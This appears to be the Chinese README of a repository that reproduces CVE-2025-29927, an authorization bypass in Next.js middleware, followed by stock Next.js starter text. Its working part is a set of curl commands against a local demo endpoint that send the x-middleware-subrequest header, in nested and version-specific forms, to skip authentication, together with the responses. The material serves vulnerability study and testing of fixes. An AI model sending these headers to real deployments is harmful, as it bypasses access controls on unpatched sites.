该仓库是对 next 包中 CVE-2025-29927 漏洞的复现
/api/hello 端点$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest 头中嵌套 middleware 5 次,也可以绕过授权:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 和 13 版本曾使用不同的中间件文件命名约定(_middleware.js),在 Next.js 14 中已改为 middleware.js。此漏洞在旧版本中可通过使用 _middleware.js 文件进行利用。
例如,以下 payload 将适用,具体取决于 Next.js 版本和路由约定:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello(适用于 Next.js 12.2 版本,且 middleware.js 文件位于应用根目录,而非 pages 目录内)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello(适用于 Next.js 11 至 12.2 版本)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello首先,运行开发服务器:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
在浏览器中打开 http://localhost:3000 查看结果。
您可以通过修改 app/page.js 开始编辑页面。页面会自动更新。
本项目使用 next/font 自动优化和加载 Geist,这是 Vercel 的新字体系列。
要了解更多关于 Next.js 的信息,请查看以下资源:
您可以查看 Next.js GitHub 仓库 - 欢迎您的反馈和贡献!
部署 Next.js 应用的最简单方式是使用来自 Next.js 创建者的 Vercel 平台。
查看我们的 Next.js 部署文档 了解更多详情。